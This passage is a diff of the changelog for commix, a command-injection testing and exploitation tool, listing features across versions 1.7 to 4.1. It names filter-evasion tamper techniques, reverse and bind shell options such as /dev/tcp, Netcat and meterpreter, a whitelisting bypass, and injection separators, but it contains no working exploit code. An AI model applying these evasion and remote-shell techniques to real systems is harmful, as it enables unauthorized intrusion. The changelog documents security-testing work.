handle injection markers (i.e. asterisk `*`). +* Revised: Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags. +* Added: Ability to verify target URL content stability by comparing responses across delayed requests. +* Revised: Improved session handler for enhanced stability and data integrity. +* Revised: Improved semiblind ("file-based") technique with filename customization prompt (random or user-defined). +* Fixed: Improved handling of non-ASCII characters in URL path and query components. +* Fixed: Improved handling of HTTP errors missing response codes during authentication. +* Fixed: Improved handling of `URLError` without HTTP response. +* Fixed: Minor bug fix for missing `.txt` files during setup/install. +* Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. +* Fixed: Improved handling of terminal input to prevent encoding errors. +* Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. +* Revised: Minor code refactoring to enhance file I/O reliability. +* Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. +* Revised: Improved key transformation for nested structures using bracket notation and dot syntax. +* Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. +* Fixed: Minor bug-fix in parsing empty or invalid JSON object. +* Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. +* Revised: Minor code refactoring regarding multiple tamper scripts. +* Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). +* Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v4.0...v4.1)._ + +## Version 4.0 (2024-12-20) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Minor bug-fix regarding tamper script "backticks.py" +* Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. +* Revised: Major code refactoring regarding session handler. +* Revised: Minor improvement regarding options `--prefix`, `--suffix`. +* Revised: Improvement regarding writing text to the stdout (console) stream. +* Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. +* Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). +* Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). +* Updated: Six (third party) module has been updated (Python 3.12 support). +* Revised: Minor improvement regarding determining (passively) the target's underlying operating system. +* Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. +* Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. +* Fixed: Minor bug-fix regarding option `--output-dir`. +* Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. +* Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). +* Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`). +* Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). +* Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). +* Revised: Improvement regarding parsing JSON nested objects. +* Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. +* Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. +* Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) +* Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.9...v4.0)._ + +## Version 3.9 (2024-01-19) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. +* Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). +* Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) +* Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) +* Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. +* Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). +* Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). +* Added: Turkish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) (via @Kazgangap). +* Revised: Minor improvement regarding parsing SOAP/XML POST data. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._ + +## Version 3.8 (2023-08-14) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). +* Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). +* Added: Farsi(Persian) translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) (via @verfosec). +* Fixed: Minor bug-fix regarding `--skip-empty` switch, for skipping the testing of the parameter(s) with empty value(s). +* Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. +* Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. +* Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands. +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). +* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` switch). +* Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option). +* Added: Support for `Bearer` HTTP authentication type. +* Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). +* Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. +* Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. +* Added: New option `--alert` to run host OS command(s) when injection point is found. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.7...v3.8)._ + +## Version 3.7 (2023-02-17) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Added: Indonesian translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) (via @galihap76). +* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). +* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). +* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. `logout`). +* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. +* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. `stdin`). +* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). +* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e. `-t` option). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._ + +## Version 3.6 (2022-11-18) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Improvements regarding dynamic code evaluation heuristic check. +* Revised: Minor improvement regarding session handler. +* Revised: Minor improvement regarding `--wizard` option. +* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). +* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._ + +## Version 3.5 (2022-07-03) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Improvements regarding Windows-based payloads for every supported technique. +* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. +* Removed: The deprecated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. +* Revised: Improvement regarding identifying injection marker (i.e. asterisk `*`) in provided options. +* Revised: Improvement regarding shellshock module. +* Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`). +* Added: New option `--answers` to set user answers to asked questions during commix run. +* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). +* Added: Support for normalizing crawling results. +* Revised: Improvement regarding crawler. +* Revised: Minor bug-fix regarding `--file-upload` option. +* Revised: Minor improvement regarding identifying `Hex` and/or `Base64` encoded parameter(s) value(s). +* Added: New option `--no-logging` for disabling logging to a file. +* Revised: Minor improvement regarding redirect handler. +* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). +* Added: Support for heuristic detection regarding command injections. +* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e. Cookies, HTTP headers) but also performs more tests for each injection point. +* Revised: Improvement regarding injecting into custom HTTP Header(s). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._ + +## Version 3.4 (2022-02-25) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). +* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). +* Fixed: Minor bug-fix regarding parsing JSON objects. +* Added: New option `--drop-set-cookie` for ignoring `Set-Cookie` HTTP header from response. +* Added: Support for checking for not declared cookie(s). +* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. +* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. +* Revised: Improvements regarding dynamic code evaluation heuristic check. +* Replaced: The `--encoding` option has been replaced with `--codec`. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.3...v3.4)._ + ## Version 3.3 (2021-09-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed. * Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell). * Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script. -* Added: New tamper script "backticks.py" that uses backticks instead of "$()", for commands substitution. (for *nix targets). +* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for command substitution. * Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check. -* Added: Support for parsing custom wordlists regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Fixed: Minor bug-fix regarding parsing SOAP/XML data via `--data` option. * Revised: Minor improvement regarding parsing GraphQL JSON objects. -* Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. +* Added: The .bat files command separator (i.e. [`%1a`](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. * Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._ + ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets). +* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}`. * Revised: Minor improvement regarding session handler for supporting Python 3.4+. * Revised: Minor improvement regarding `--web-root` option. -* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for *nix targets). +* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses. * Fixed: Bug-fix regarding several charset-related unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. -* Fixed: Bug-fix regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Fixed: Bug-fix regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Fixed: Bug-fix regarding logging all HTTP traffic into a textual file. * Revised: Improvement regarding crawler. * Fixed: Multiple bug-fixes regarding supporting Python 3.9. * Revised: Improvement regarding mechanism which nagging if used version is > 30 days old. * Fixed: Multiple bug-fixes regarding the shellshock module. -* Revised: Improvement regarding Python 3.4+ for using the "html.unescape()" function for converting HTML entities to plain-text representations. +* Revised: Improvement regarding Python 3.4+ for using the `html.unescape()` function for converting HTML entities to plain-text representations. * Updated: Minor update regarding smartphones to imitate, through HTTP User-Agent header. * Fixed: Bug-fix regarding setting suitable HTTP header User-Agent, when combining `--random-agent` or `--mobile` switch with `-r` option. -* Fixed: Bug-fix regarding "hex" encoding/decoding. +* Fixed: Bug-fix regarding `Hex` encoding/decoding. * Added: New option ( `--timeout`) for setting a number of seconds to wait before timeout connection (default 30). * Revised: Increased default timeout to 30 seconds. * Fixed: Bug-fix regarding Basic HTTP authentication. * Fixed: Bug-fix regarding connection problems (via @fuero). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.1...v3.2)._ + ## Version 3.1 (2020-06-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: A script "setup.py" has been added (i.e. easier installation). -* Revised: Improvement regarding checking if the provided value has boundaries (e.g. 'param=/value/'). +* Revised: Improvement regarding checking if the provided value has boundaries (e.g. `param=/value/`). * Revised: Improvement regarding dynamic code evaluation technique's heuristic checks. * Revised: Improvement regarding identifying the indicated web-page charset. * Revised: Minor improvement regarding verbose mode (i.e. debug messages). * Fixed: Bug-fix regarding Basic HTTP authentication. * Revised: Minor improvement regarding redirection mechanism. -* Fixed: Bug-fix regarding defining wildcard character "*" in nested JSON objects. +* Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. -* Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads. * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.0-20191111...v3.1)._ + ## Version 3.0 (2019-11-11) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the indicated web-page charset. @@ -62,33 +417,39 @@ * Added: Six (third party) module has been added. * Revised: Improvement regarding parsing nested JSON objects that contain boolean values. * Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option. -* Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401). +* Added: New option `--ignore-code` for ignoring (problematic) HTTP error code (e.g. 401). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._ ## Version 2.9 (2019-06-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding parsing hostname and port from URL. -* Revised: Improvement regarding automatically decoding "deflate" and "gzip" HTTP responses. -* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple ":". +* Revised: Improvement regarding automatically decoding `deflate` and `gzip` HTTP responses. +* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple `":"`. * Revised: Improvement regarding updating "Content-Length" HTTP header, in case it's provided by user (i.e. `-r`, `--header`, `--header` options). * Revised: Improvement regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvement regarding parsing nested JSON objects. * Added: Flatten_json (third party) module has been added. * Revised: Bug-fixes and improvements regarding parsing JSON objects. -* Added: GPL Cooperation Commitment (COMMITMENT.txt) has been added. -* Updated: Minor update regarding HTTP authentication (Basic / Digest). +* Added: GPL Cooperation Commitment ([COMMITMENT.txt](https://github.com/commixproject/commix/blob/master/COMMITMENT.txt)) has been added. +* Updated: Minor update regarding HTTP authentication (i.e. `Basic`, `Digest`). * Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase. * Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.8-20190326...v2.9-20190626)._ + ## Version 2.8 (2019-03-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Updated: Minor update regarding accepting overly long result lines. * Revised: Minor bug-fixes and improvements regarding `--file-upload` option. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. -* Revised: Minor bug-fixes and improvements regarding HTTP authentication (Basic / Digest). +* Revised: Minor bug-fixes and improvements regarding HTTP authentication (i.e. `Basic`, `Digest`). * Fixed: Minor bug-fix regarding ignoring HTTP Error 401 (Unauthorized) (for `--ignore-401` option). * Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools). * Added: Support for Windows "Python" on "reverse_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.7-20181218...v2.8-20190326)._ + ## Version 2.7 (2018-12-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: The suffixes list has been shortly revised. @@ -99,16 +460,18 @@ * Revised: Minor update of redirection mechanism. * Revised: Minor improvement regarding identifying the target web server. * Revised: Minor improvement regarding identifying corrupted .pyc file(s). -* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign ("$@") between the characters of the generated payloads. +* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign (`$@`) between the characters of the generated payloads. * Fixed: Bug-fix regarding proxying SSL/TLS requests. -* Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option. +* Revised: Minor improvement regarding checking for potentially miswritten (illegal `=`) short option. * Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters. * Revised: Minor improvement regarding merging of tamper script arguments. * Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts. * Updated: Beautiful Soup (third party) module has been updated. -* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header 'X-Forwarded-For'. +* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`. * Fixed: Minor bug-fix regarding loading tamper scripts. -* Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. +* Revised: Minor improvement regarding `INJECT_HERE` tag (i.e. declaring injection position) to be case insensitive. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._ ## Version 2.6 (2018-09-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. @@ -116,18 +479,20 @@ * Added: New option `--list-tampers` for listing available tamper scripts. * Revised: Minor improvement regarding resolving target hostname. * Added: Support for "Ncat" on "reverse_tcp" and "bind_tcp" shell options. -* Added: Support for "Bash" (via /dev/tcp) on "reverse_tcp" shell option. -* Added: Support for "Netcat-Openbsd" (nc without -e) on "reverse_tcp" and "bind_tcp" shell options. +* Added: Support for "Bash" (via `/dev/tcp`) on "reverse_tcp" shell option. +* Added: Support for "Netcat-Openbsd" (i.e. nc without -e) on "reverse_tcp" and "bind_tcp" shell options. * Added: Support for "Socat" on "reverse_tcp" and "bind_tcp" shell options. * Revised: Minor improvement regarding counting the total of HTTP(S) requests, for the identified injection point(s) during the detection phase. * Fixed: Minor bug-fix regarding providing the target host's root directory. * Added: New tamper script "sleep2timeout.py" that uses "timeout" function for time-based attacks. -* Added: New tamper script "sleep2usleep.py" that replaces "sleep" with "usleep" command in the time-related generated payloads. +* Added: New tamper script "sleep2usleep.py" that replaces `sleep` with `usleep` command in the time-related generated payloads. * Replaced: The `--purge-output` option has been replaced with `--purge` option. * Fixed: Minor bug-fix regarding performing injections through cookie parameters. * Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts. * Fixed: Minor bug-fix regarding "bind_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.5-20180713...v2.6-20180921)._ + ## Version 2.5 (2018-07-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the appropriate format parameters, in the provided POST data. @@ -136,22 +501,26 @@ * Added: Support regarding checking for potential CAPTCHA protection mechanism. * Revised: The separators list, has been shortly revised. * Revised: Minor improvement regarding the extracted HTTP response headers. -* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for *nix targets). -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g User-Agent, Referer, Host etc). -* Fixed: Major bug-fixes regarding testing time-related ("time-based"/"tempfile-based") payloads. -* Added: New tamper script "backslashes.py" that adds back slashes (\) between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads. +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc). +* Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based"). +* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads. * Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host. * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.4-20180521...v2.5-20180713)._ + ## Version 2.4 (2018-05-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding ignoring invalid and/or empty tamper scripts. * Updated: Colorama (third party) module has been updated. * Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k). * Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase). -* Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets). -* Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads. +* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ ## Version 2.3 (2018-03-07) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. @@ -169,29 +538,33 @@ * Revised: Improvement regarding testing json-formated POST data with empty value(s). * Revised: Minor improvement regarding verbose mode for removing the first and/or last line of the html content (in case there are/is empty). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.2-20171212...v2.3-20180307)._ + ## Version 2.2 (2017-12-12) * Revised: Minor improvement in "updater", for supporting verbose mode. * Fixed: Minor bug-fix regarding cookie-based command injections. * Revised: Minor improvement regarding option `-p` for bypassing the dependence on value of `--level` (in case of user-defined HTTP headers). * Revised: Minor improvement regarding option `-p` for testing user-defined HTTP headers. -* Added: New option `--failed-tries` for setting a number of failed injection tries, in file-based technique. +* Added: New option `--failed-tries` for setting a number of failed injection tries, in semiblind (i.e. "file-based") technique. * Revised: Minor improvement regarding session handler. -* Revised: Minor improvement regarding checking stored time-related ("time-based"/"tempfile-based") payloads. +* Revised: Minor improvement regarding checking stored time-related payloads (i.e. "time-based", "tempfile-based"). * Revised: Minor improvement regarding Python version check (no more crashes on Python >= "3" and < "2.6"). * Revised: Minor improvement in "updater", for checking commit hash number. * Added: New option `--skip` regarding excluding certain parameter(s) from testing. * Added: New option `--skip-technique` regarding excluding certain injection technique(s) from testing. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._ + ## Version 2.1 (2017-10-03) -* Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1'). +* Added: New option `--header` for providing a single extra HTTP header (e.g. `X-Forwarded-For: 127.0.0.1`). * Added: New option `--check-internet` that checks internet connection before assessing the target. -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e Cookie, User-Agent, Referer). +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer). * Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase. -* Added: New tamper script "space2vtab.py" that replaces every space ("%20") with vertical tab ("%0b") (for Windows targets). +* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`). * Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py". -* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET / POST). -* Added: New option `--backticks` that uses backticks instead of "$()", for commands substitution. -* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the "/bin" standard subdirectory. +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST). +* Added: New option `--backticks` that uses backticks instead of `$()`, for command substitution. +* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the `/bin` standard subdirectory. * Added: New option `--disable-coloring` that disables console output coloring. * Added: New option `--check-tor` that checks if Tor is used properly. * Fixed: Minor improvement for fetching random HTTP User-Agent header in initial request, when `--random-agent` is used. @@ -199,11 +572,13 @@ * Fixed: Major bug-fix regarding connection problem over HTTPS. * Added: New option `--purge-output` to turn on safe removal of all content(s) from output directory. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.0-20170714...v2.1-20171003)._ + ## Version 2.0 (2017-07-14) * Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used. * Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets). * Revised: Multiple minor eye-candy revisions have been performed. -* Fixed: Major improvement regarding not sending requests with GET mothod in case of POST method, in injection levels 2, 3. +* Fixed: Major improvement regarding not sending requests with GET HTTP mothod in case of POST HTTP method, in injection levels 2, 3. * Updated: The `--sys-info` option has been enriched with distribution description and release information. * Revised: Minor improvement in dynamic code evaluation, regarding the users extraction payload. * Fixed: Minor fix regarding not raising the detection phase in the case of 4xx and/or 5xx HTTP error codes. @@ -213,18 +588,22 @@ * Added: New option `--mobile` that imitates smartphone through HTTP User-Agent header. * Added: New option `--retries` that retries request(s) when the connection timeouts. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.9-20170502...v2.0-20170714)._ + ## Version 1.9 (2017-05-02) -* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-provided time delay. -* Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. -* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-provided time delay. -* Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved. +* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. +* Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised. +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay. +* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding the directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. -* Fixed: Minor improvement for adding "/" at the end of the user provided root dir (in case it does not exist). -* Revised: The file-based payload for deleting files with execution output, has been shortly revised. +* Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist). +* Revised: The semiblind (i.e. "file-based") payload for deleting files with execution output, has been shortly revised. * Replaced: The `--root-dir` option has been replaced with `--web-root` option. * Added: New option `--wizard` that shows a simple wizard interface for beginner users. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.8-20170315...v1.9-20170502)._ + ## Version 1.8 (2017-03-15) * Added: New feauture for installing Unicorn tool (if not installed on host). * Removed: The pre-installed version of Unicorn tool has been removed. @@ -233,13 +612,15 @@ * Replaced: The `--delay` option has been replaced with `--time-sec` option. * Fixed: Minor improvement regarding gnureadline module for better support on MacOS X hosts. * Added: New option `--charset` that forces character encoding used for data retrieval. -* Added: New prefix ("'%26") and suffix ("%26'") have been added. -* Fixed: Removal of unnecessary command substitution in semiblind ("file-based") technique. +* Added: New prefix (`'%26`) and suffix (`%26'`) have been added. +* Fixed: Removal of unnecessary command substitution in semiblind technique (i.e. "file-based"). * Updated: The Unicorn tool has been updated to version 2.4.2. * Added: Support for the Regsvr32.exe Application Whitelisting Bypass technique. * Fixed: Minor improvement for checking for established TCP connections. * Fixed: Minor improvement for not reopening meterpreter sessions (in case of user abortion). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.7-20170203...v1.8-20170315)._ + ## Version 1.7 (2017-02-03) * Fixed: Minor improvement regarding unverified SSL context(s). * Added: New values ("URIPATH", "SRVPORT") have been added to "Set" option. @@ -249,14 +630,16 @@ * Fixed: Minor improvement regarding automated scan level increasing. * Fixed: Improvement regarding skipping the testing of problematic URL(s) and proceeding with next ones (in case of scanning multiple targets). * Fixed: Improvement regarding printing current assessment state in case of user abortion. -* Revised: Minor improvement for proceeding with semiblind ("file-based") technique, once the user provides the path of web server's root directory. +* Revised: Minor improvement for proceeding with semiblind technique (i.e. "file-based"), once the user provides the path of web server's root directory. * Fixed: Minor fix regarding the lack of http/s to the user-defined URL(s). * Added: New option `--skip-empty` for skipping the testing of the parameter(s) with empty value(s). * Fixed: Improvement regarding testing the parameter(s) with empty value(s). -* Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added. +* Added: New CGI shellscript path `/cgi-bin/cgiCmdNotify` (vulnerable to shellshock) has been added. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._ 